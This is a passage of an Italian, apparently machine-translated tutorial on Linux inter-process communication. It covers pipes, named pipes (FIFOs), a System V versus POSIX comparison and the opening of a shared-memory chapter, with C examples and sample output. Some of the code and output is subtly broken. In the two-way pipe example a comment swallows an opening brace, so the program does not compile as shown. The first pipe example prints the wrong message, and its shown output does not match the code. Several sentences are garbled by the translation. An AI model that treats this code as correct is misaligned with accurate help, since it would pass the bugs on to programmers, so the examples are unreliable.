Generale | Scrivi () | Scrive il contenuto del buffer nel file. |
Generale | vicino () | Chiude il descrittore di file. |
Generale | statistica () | Fornisce informazioni sul file. |
Tubi | tubo () | Crea pipe per la comunicazione che restituisce due descrittori di file per la lettura e la scrittura. |
Named Pipes o Fifo | mknod () | Crea un file del dispositivo di memoria o un file speciale per creare FIFO |
Named Pipes o Fifo | mkfifo () | Crea un nuovo FIFO |
Memoria condivisa | shmget () | Crea un nuovo segmento di memoria condivisa o ottiene l'identificatore del segmento esistente. |
Memoria condivisa | shmat () | Collega il segmento di memoria condivisa e rende il segmento parte della memoria virtuale del processo chiamante. |
Memoria condivisa | shmdt () | Stacca il segmento di memoria condivisa. |
Memoria condivisa | shmctl () | Esegue le operazioni di controllo per la memoria condivisa. Poche delle operazioni di controllo generico per la memoria condivisa sono la rimozione del segmento di memoria condivisa (IPC_RMID), la ricezione delle informazioni della memoria condivisa (IPC_STAT) e l'aggiornamento di nuovi valori della memoria condivisa esistente (IPC_SET). |
Code di messaggi | msgget () | Crea una nuova coda di messaggi o accede a una coda di messaggi già esistente e ottiene l'handle o l'identificatore per eseguire operazioni relative alla coda di messaggi, come l'invio di messaggi alla coda e la ricezione di messaggi dalla coda. |
Code di messaggi | msgsnd () | Invia un messaggio alla coda messaggi richiesta con il numero di identificazione richiesto. |
Code di messaggi | msgrcv () | Riceve un messaggio dalla coda dei messaggi. Per impostazione predefinita, questa è un'operazione di attesa infinita, significa che la chiamata verrà bloccata fino a quando non riceverà un messaggio. |
Code di messaggi | msgctl () | Esegue operazioni di controllo per la coda dei messaggi. Poche delle operazioni di controllo generico per la coda messaggi sono la rimozione della coda messaggi (IPC_RMID), la ricezione delle informazioni sulla coda messaggi (IPC_STAT) e l'aggiornamento di nuovi valori della coda messaggi esistente (IPC_SET). |
Semafori | semget () | Crea un nuovo semaforo o ottiene l'identificatore del semaforo esistente. I semafori vengono utilizzati per eseguire la sincronizzazione tra vari IPC che lavorano sullo stesso oggetto. |
Semafori | semop () | Esegue operazioni sul semaforo sui valori del semaforo. Le operazioni di base del semaforo sono l'acquisizione o il rilascio del blocco sul semaforo. |
Semafori | semctl () | Esegue operazioni di controllo per il semaforo. Poche delle operazioni di controllo generico per il semaforo sono la rimozione del semaforo (IPC_RMID), la ricezione delle informazioni del semaforo (IPC_STAT) e l'aggiornamento di nuovi valori del semaforo esistente (IPC_SET). |
Segnali | segnale () | Impostazione della disposizione del segnale (numero del segnale) e del gestore del segnale. In altri termini, registrare la routine, che viene eseguita quando viene generato quel segnale. |
Segnali | sigaction () | Uguale a signal (), imposta la disposizione del segnale, cioè esegue determinate azioni secondo il gestore del segnale registrato dopo la ricezione del segnale registrato. Questa chiamata di sistema supporta un controllo più preciso su signal () come il blocco di determinati segnali, il ripristino dell'azione del segnale allo stato predefinito dopo aver chiamato il gestore del segnale, fornendo informazioni come il tempo consumato dall'utente e il sistema, l'ID del processo di invio, ecc. |
Mappatura della memoria | mmap () | Mappatura dei file nella memoria. Una volta mappato in memoria, accedere ai file è facile come accedere ai dati utilizzando gli indirizzi e anche in questo modo la chiamata non è costosa come le chiamate di sistema. |
Mappatura della memoria | munmap () | Annullamento della mappatura dei file mappati dalla memoria. |
La tabella seguente elenca le differenze tra System V IPC e POSIX IPC.
SISTEMA V | POSIX |
---|---|
AT & T ha introdotto (1983) tre nuove forme di servizi IPC: code di messaggi, memoria condivisa e semafori. | Standard di interfaccia del sistema operativo portatile specificati da IEEE per definire l'interfaccia di programmazione dell'applicazione (API). POSIX copre tutte e tre le forme di IPC |
SYSTEM V IPC copre tutti i meccanismi IPC, vale a dire pipe, named pipe, code di messaggi, segnali, semafori e memoria condivisa. Copre anche socket e socket di dominio Unix. | Quasi tutti i concetti di base sono gli stessi del sistema V. Differisce solo con l'interfaccia |
Chiamate all'interfaccia di memoria condivisa shmget (), shmat (), shmdt (), shmctl () | Chiamate all'interfaccia di memoria condivisa shm_open (), mmap (), shm_unlink () |
Chiamate all'interfaccia della coda messaggi msgget (), msgsnd (), msgrcv (), msgctl () | Chiamate interfaccia coda messaggi mq_open (), mq_send (), mq_receive (), mq_unlink () |
Chiamate all'interfaccia semaforo semget (), semop (), semctl () | Chiamate all'interfaccia semaforo Semafori denominati sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Semafori senza nome o basati sulla memoria sem_init (), sem_post (), sem_wait (), sem_getvalue (), sem_destroy () |
Utilizza chiavi e identificatori per identificare gli oggetti IPC. | Utilizza nomi e descrittori di file per identificare gli oggetti IPC |
N / A | Le code di messaggi POSIX possono essere monitorate utilizzando le API select (), poll () ed epoll |
Offre la chiamata msgctl () | Fornisce funzioni (mq_getattr () e mq_setattr ()) per accedere o impostare gli attributi 11. IPC - System V e POSIX |
N / A | Sicuro multi-thread. Copre le funzioni di sincronizzazione dei thread come i blocchi mutex, le variabili condizionali, i blocchi di lettura-scrittura, ecc. |
N / A | Offre poche funzionalità di notifica per le code di messaggi (come mq_notify ()) |
Richiede chiamate di sistema come shmctl (), comandi (ipcs, ipcrm) per eseguire operazioni di stato / controllo. | Gli oggetti di memoria condivisa possono essere esaminati e manipolati utilizzando chiamate di sistema come fstat (), fchmod () |
La dimensione di un segmento di memoria condivisa di System V è fissata al momento della creazione (tramite shmget ()) | Possiamo usare ftruncate () per regolare la dimensione dell'oggetto sottostante, quindi ricreare la mappatura usando munmap () e mmap () (o il mremap () specifico per Linux) |
Pipe è un mezzo di comunicazione tra due o più processi correlati o interrelati. Può essere all'interno di un processo o una comunicazione tra il bambino e i processi genitore. La comunicazione può anche essere multilivello, come la comunicazione tra il genitore, il bambino e il nipote, ecc. La comunicazione è ottenuta tramite un processo che scrive nel tubo e l'altro che legge dal tubo. Per ottenere la chiamata di sistema pipe, creare due file, uno da scrivere nel file e un altro da leggere dal file.
Il meccanismo del tubo può essere visualizzato con uno scenario in tempo reale come il riempimento dell'acqua con il tubo in un contenitore, ad esempio un secchio, e qualcuno che lo recupera, ad esempio con una tazza. Il processo di riempimento non è altro che la scrittura nel tubo e il processo di lettura non è altro che il recupero dal tubo. Ciò implica che un'uscita (acqua) è l'ingresso per l'altra (secchio).
#include<unistd.h>
int pipe(int pipedes[2]);
Questa chiamata di sistema creerebbe una pipe per la comunicazione unidirezionale, ovvero crea due descrittori, il primo è connesso per leggere dalla pipe e l'altro è connesso per scrivere nella pipe.
Il descrittore pipedes [0] è per la lettura e pipedes [1] per la scrittura. Qualunque cosa sia scritta in pipedes [1] può essere letta da pipedes [0].
Questa chiamata restituirà zero in caso di successo e -1 in caso di fallimento. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Anche se le operazioni di base per il file sono di lettura e scrittura, è essenziale aprire il file prima di eseguire le operazioni e chiudere il file dopo il completamento delle operazioni richieste. Di solito, per impostazione predefinita, 3 descrittori aperti per ogni processo, che vengono utilizzati per input (standard input - stdin), output (standard output - stdout) ed errore (standard error - stderr) con descrittori di file 0, 1 e 2 rispettivamente.
Questa chiamata di sistema restituirebbe un descrittore di file usato per ulteriori operazioni sui file di lettura / scrittura / ricerca (lseek). Di solito i descrittori di file iniziano da 3 e aumentano di un numero all'aumentare del numero di file aperti.
Gli argomenti passati alla chiamata di sistema aperta sono pathname (percorso relativo o assoluto), flag che menzionano lo scopo dell'apertura del file (diciamo, apertura per lettura, O_RDONLY, per scrivere, O_WRONLY, per leggere e scrivere, O_RDWR, per aggiungere al file esistente O_APPEND, per creare file, se non esiste con O_CREAT e così via) e la modalità richiesta che fornisce i permessi di lettura / scrittura / esecuzione per utente o proprietario / gruppo / altri. La modalità può essere menzionata con simboli.
Leggi - 4, Scrivi - 2 ed Esegui - 1.
Ad esempio: valore ottale (inizia con 0), 0764 implica che il proprietario ha i permessi di lettura, scrittura ed esecuzione, il gruppo ha i permessi di lettura e scrittura, l'altro ha i permessi di lettura. Questo può anche essere rappresentato come S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, che implica o il funzionamento di 0700 | 0040 | 0020 | 0004 → 0764.
Questa chiamata di sistema, in caso di successo, restituisce il nuovo id descrittore di file e -1 in caso di errore. La causa dell'errore può essere identificata con la variabile errno o la funzione perror ().
#include<unistd.h>
int close(int fd)
La chiamata di sistema precedente chiude il descrittore di file già aperto. Ciò implica che il file non è più in uso e le risorse associate possono essere riutilizzate da qualsiasi altro processo. Questa chiamata di sistema restituisce zero in caso di successo e -1 in caso di errore. La causa dell'errore può essere identificata con la variabile errno o la funzione perror ().
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
La chiamata di sistema sopra è quella di leggere dal file specificato con gli argomenti del descrittore di file fd, il buffer appropriato con memoria allocata (statica o dinamica) e la dimensione del buffer.
L'id descrittore di file serve per identificare il rispettivo file, che viene restituito dopo aver chiamato la chiamata di sistema open () o pipe (). Il file deve essere aperto prima di leggere dal file. Si apre automaticamente in caso di chiamata di sistema pipe ().
Questa chiamata restituirà il numero di byte letti (o zero in caso di incontro alla fine del file) in caso di successo e -1 in caso di errore. I byte di ritorno possono essere inferiori al numero di byte richiesti, solo nel caso in cui non siano disponibili dati o il file sia chiuso. Il numero di errore corretto viene impostato in caso di guasto.
Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
La chiamata di sistema di cui sopra consiste nello scrivere nel file specificato con gli argomenti del descrittore di file fd, un buffer appropriato con memoria allocata (statica o dinamica) e la dimensione del buffer.
L'id descrittore di file serve per identificare il rispettivo file, che viene restituito dopo aver chiamato la chiamata di sistema open () o pipe ().
Il file deve essere aperto prima di scrivere sul file. Si apre automaticamente in caso di chiamata di sistema pipe ().
Questa chiamata restituirà il numero di byte scritti (o zero nel caso in cui non venga scritto nulla) in caso di successo e -1 in caso di errore. Il numero di errore corretto viene impostato in caso di guasto.
Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
Programmi di esempio
Di seguito sono riportati alcuni programmi di esempio.
Example program 1 - Programma per scrivere e leggere due messaggi utilizzando pipe.
Algoritmo
Step 1 - Crea una pipa.
Step 2 - Invia un messaggio al tubo.
Step 3 - Recupera il messaggio dalla pipe e scrivilo sullo standard output.
Step 4 - Invia un altro messaggio al tubo.
Step 5 - Recupera il messaggio dalla pipe e scrivilo sullo standard output.
Note - Il recupero dei messaggi può essere eseguito anche dopo aver inviato tutti i messaggi.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- Idealmente, lo stato di ritorno deve essere controllato per ogni chiamata di sistema. Per semplificare il processo, non vengono effettuati controlli per tutte le chiamate.
Fasi di esecuzione
Compilazione
gcc -o simplepipe simplepipe.c
Esecuzione / output
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Programma per scrivere e leggere due messaggi attraverso la pipe utilizzando i processi genitore e figlio.
Algoritmo
Step 1 - Crea una pipa.
Step 2 - Crea un processo figlio.
Step 3 - Il processo padre scrive sulla pipe.
Step 4 - Il processo figlio recupera il messaggio dalla pipe e lo scrive nell'output standard.
Step 5 - Ripetere i passaggi 3 e 4 ancora una volta.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Fasi di esecuzione
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Comunicazione bidirezionale tramite pipe
La comunicazione pipe viene vista solo come una comunicazione unidirezionale, ovvero il processo genitore scrive e il processo figlio legge o viceversa ma non entrambi. Tuttavia, se sia il genitore che il bambino hanno bisogno di scrivere e leggere simultaneamente dalle pipe, la soluzione è una comunicazione bidirezionale che utilizza le pipe. Sono necessari due tubi per stabilire una comunicazione a due vie.
Di seguito sono riportati i passaggi per ottenere una comunicazione bidirezionale:
Step 1- Crea due tubi. Il primo è che il genitore scriva e il figlio legga, diciamo come pipe1. Il secondo è che il bambino scriva e il genitore legga, diciamo come pipe2.
Step 2 - Crea un processo figlio.
Step 3 - Chiudere le estremità indesiderate poiché è necessaria una sola estremità per ciascuna comunicazione.
Step 4 - Chiudi le estremità indesiderate nel processo genitore, leggi la fine di pipe1 e scrivi end of pipe2.
Step 5 - Chiudi le estremità indesiderate nel processo figlio, scrivi end of pipe1 e leggi end of pipe2.
Step 6 - Eseguire la comunicazione come richiesto.
Programmi di esempio
Sample program 1 - Realizzazione di una comunicazione bidirezionale tramite pipe.
Algoritmo
Step 1 - Crea pipe1 per il processo genitore da scrivere e il processo figlio da leggere.
Step 2 - Crea pipe2 per il processo figlio da scrivere e il processo genitore da leggere.
Step 3 - Chiudere le estremità indesiderate del tubo dal lato genitore e figlio.
Step 4 - Processo genitore per scrivere un messaggio e processo figlio da leggere e visualizzare sullo schermo.
Step 5 - Processo figlio per scrivere un messaggio e processo genitore da leggere e visualizzare sullo schermo.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Fasi di esecuzione
Compilazione
gcc twowayspipe.c –o twowayspipe
Esecuzione
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
I tubi erano destinati alla comunicazione tra processi correlati. Possiamo usare pipe per comunicazioni di processo non correlate, diciamo, vogliamo eseguire il programma client da un terminale e il programma server da un altro terminale? La risposta è No. Allora come possiamo ottenere una comunicazione di processi non correlati, la risposta semplice è Named Pipes. Anche se funziona per i processi correlati, non ha alcun significato utilizzare le named pipe per la comunicazione del processo correlato.
Abbiamo utilizzato un tubo per la comunicazione unidirezionale e due tubi per la comunicazione bidirezionale. La stessa condizione si applica ai tubi denominati. La risposta è no, possiamo utilizzare una singola named pipe che può essere utilizzata per la comunicazione bidirezionale (comunicazione tra il server e il client, più il client e il server allo stesso tempo) poiché Named Pipe supporta la comunicazione bidirezionale.
Un altro nome per named pipe è FIFO (First-In-First-Out). Vediamo la chiamata di sistema (mknod ()) per creare una named pipe, che è una specie di file speciale.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
Questa chiamata di sistema creerebbe un file speciale o un nodo del file system come un file ordinario, un file di dispositivo o FIFO. Gli argomenti della chiamata di sistema sono pathname, mode e dev. Il nome del percorso insieme agli attributi della modalità e alle informazioni sul dispositivo. Il percorso è relativo, se la directory non è specificata verrebbe creata nella directory corrente. La modalità specificata è la modalità del file che specifica il tipo di file come il tipo di file e la modalità del file come indicato nelle tabelle seguenti. Il campo dev consente di specificare le informazioni sul dispositivo come i numeri di dispositivo principale e secondario.
Tipo di file | Descrizione | Tipo di file | Descrizione |
---|---|---|---|
S_IFBLK | blocco speciale | S_IFREG | File regolare |
S_IFCHR | carattere speciale | S_IFDIR | Directory |
S_IFIFO | Speciale FIFO | S_IFLNK | Collegamento simbolico |
Modalità file | Descrizione | Modalità file | Descrizione |
---|---|---|---|
S_IRWXU | Leggi, scrivi, esegui / cerca dal proprietario | S_IWGRP | Autorizzazione di scrittura, gruppo |
S_IRUSR | Permesso di lettura, proprietario | S_IXGRP | Autorizzazione di esecuzione / ricerca, gruppo |
S_IWUSR | Permesso di scrittura, proprietario | S_IRWXO | Leggere, scrivere, eseguire / cercare da altri |
S_IXUSR | Autorizzazione di esecuzione / ricerca, proprietario | S_IROTH | Leggi il permesso, altri |
S_IRWXG | Leggi, scrivi, esegui / cerca per gruppo | S_IWOTH | Scrivere il permesso, altri |
S_IRGRP | Autorizzazione di lettura, gruppo | S_IXOTH | Autorizzazioni di esecuzione / ricerca, altri |
La modalità file può anche essere rappresentata in notazione ottale come 0XYZ, dove X rappresenta il proprietario, Y rappresenta il gruppo e Z rappresenta gli altri. Il valore di X, Y o Z può variare da 0 a 7. I valori per lettura, scrittura ed esecuzione sono 4, 2, 1 rispettivamente. Se necessario in combinazione di lettura, scrittura ed esecuzione, quindi aggiungere i valori di conseguenza.
Diciamo, se menzioniamo, 0640, allora questo significa leggere e scrivere (4 + 2 = 6) per il proprietario, leggere (4) per il gruppo e nessun permesso (0) per gli altri.
Questa chiamata restituirà zero in caso di successo e -1 in caso di fallimento. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Questa funzione di libreria crea un file speciale FIFO, che viene utilizzato per named pipe. Gli argomenti di questa funzione sono il nome del file e la modalità. Il nome del file può essere percorso assoluto o percorso relativo. Se non viene fornito il nome completo del percorso (o il percorso assoluto), il file verrà creato nella cartella corrente del processo in esecuzione. Le informazioni sulla modalità file sono come descritte nella chiamata di sistema mknod ().
Questa chiamata restituirà zero in caso di successo e -1 in caso di fallimento. Per conoscere la causa del fallimento, controlla con la variabile errno o la funzione perror ().
Consideriamo un programma che esegue il server su un terminale e il client su un altro terminale. Il programma eseguirà solo comunicazioni unidirezionali. Il client accetta l'input dell'utente e invia il messaggio al server, il server stampa il messaggio sull'output. Il processo continua fino a quando l'utente non immette la stringa "end".
Facci capire questo con un esempio:
Step 1 - Crea due processi, uno è fifoserver e un altro è fifoclient.
Step 2 - Il processo del server esegue quanto segue:
Crea una named pipe (utilizzando la chiamata di sistema mknod ()) con il nome "MYFIFO", se non creata.
Apre la named pipe per scopi di sola lettura.
Qui, creato FIFO con permessi di lettura e scrittura per il proprietario. Leggi per Gruppo e nessun permesso per Altri.
Aspetta infinitamente il messaggio dal Cliente.
Se il messaggio ricevuto dal client non è "end", stampa il messaggio. Se il messaggio è "end", chiude la fifo e termina il processo.
Step 3 - Il processo client esegue quanto segue:
Apre la named pipe per scopi di sola scrittura.
Accetta la stringa dall'utente.
Controlla se l'utente inserisce "end" o diverso da "end". In ogni caso, invia un messaggio al server. Tuttavia, se la stringa è "end", chiude il FIFO e termina anche il processo.
Si ripete all'infinito finché l'utente non immette la stringa "end".
Ora diamo un'occhiata al file del server FIFO.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Fasi di compilazione ed esecuzione
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Ora, diamo un'occhiata al codice di esempio del client FIFO.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Facciamo una all'uscita in arrivo.
Fasi di compilazione ed esecuzione
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Comunicazione bidirezionale tramite named pipe
La comunicazione tra i tubi deve essere unidirezionale. I tubi erano limitati alla comunicazione unidirezionale in generale e necessitavano di almeno due tubi per la comunicazione bidirezionale. I tubi sono pensati solo per processi correlati. Le pipe non possono essere utilizzate per la comunicazione di processi non correlati, ad esempio, se vogliamo eseguire un processo da un terminale e un altro processo da un altro terminale, non è possibile con le pipe. Abbiamo un modo semplice per comunicare tra due processi, diciamo processi non correlati in modo semplice? La risposta è si. La pipe denominata è pensata per la comunicazione tra due o più processi non correlati e può anche avere una comunicazione bidirezionale.
Abbiamo già visto la comunicazione unidirezionale tra named pipe, cioè i messaggi dal client al server. Ora, diamo uno sguardo alla comunicazione bidirezionale, cioè il client che invia il messaggio al server e il server che riceve il messaggio e che invia un altro messaggio al client usando la stessa pipe denominata.
Di seguito è riportato un esempio:
Step 1 - Crea due processi, uno è fifoserver_twoway e un altro è fifoclient_twoway.
Step 2 - Il processo del server esegue quanto segue:
Crea una named pipe (utilizzando la funzione di libreria mkfifo ()) con il nome "fifo_twoway" nella directory / tmp, se non creata.
Apre la named pipe per scopi di lettura e scrittura.
Qui, creato FIFO con permessi di lettura e scrittura per il proprietario. Leggi per Gruppo e nessun permesso per Altri.
Aspetta infinitamente un messaggio dal cliente.
Se il messaggio ricevuto dal client non è "end", stampa il messaggio e inverte la stringa. La stringa invertita viene restituita al client. Se il messaggio è "end", chiude la fifo e termina il processo.
Step 3 - Il processo client esegue quanto segue:
Apre la named pipe per scopi di lettura e scrittura.
Accetta la stringa dall'utente.
Controlla se l'utente inserisce "end" o diverso da "end". In ogni caso, invia un messaggio al server. Tuttavia, se la stringa è "end", chiude il FIFO e termina anche il processo.
Se il messaggio viene inviato come non "end", attende il messaggio (stringa invertita) dal client e stampa la stringa invertita.
Si ripete all'infinito finché l'utente non immette la stringa "end".
Ora, diamo un'occhiata al codice di esempio del server FIFO.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Fasi di compilazione ed esecuzione
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Ora, diamo un'occhiata al codice di esempio del client FIFO.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Fasi di compilazione ed esecuzione
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
La memoria condivisa è una memoria condivisa tra due o più processi. Tuttavia, perché abbiamo bisogno di condividere la memoria o qualche altro mezzo di comunicazione?
Per ribadire, ogni processo ha il proprio spazio degli indirizzi, se un processo vuole comunicare con alcune informazioni dal proprio spazio degli indirizzi ad altri processi, allora è possibile solo con le tecniche IPC (inter process communication). Come già sappiamo, la comunicazione può avvenire tra processi correlati o non correlati.
Di solito, la comunicazione tra processi correlati viene eseguita utilizzando pipe o named pipe. La comunicazione di processi non correlati (ad esempio un processo in esecuzione in un terminale e un altro processo in un altro terminale) può essere eseguita utilizzando Named Pipes o tramite le comuni tecniche IPC di Shared Memory e Message Queues.
Abbiamo visto le tecniche IPC di pipe e named pipe e ora è il momento di conoscere le restanti tecniche IPC, ovvero memoria condivisa, code di messaggi, semafori, segnali e mapping della memoria.
In questo capitolo, sapremo tutto sulla memoria condivisa.
Sappiamo che per comunicare tra due o più processi, usiamo la memoria condivisa ma prima di utilizzare la memoria condivisa cosa è necessario fare con le chiamate di sistema, vediamo questo:
Crea il segmento di memoria condivisa o usa un segmento di memoria condivisa già creato (shmget ())
Collega il processo al segmento di memoria condivisa già creato (shmat ())
Scollega il processo dal segmento di memoria condivisa già collegato (shmdt ())
Operazioni di controllo sul segmento di memoria condivisa (shmctl ())
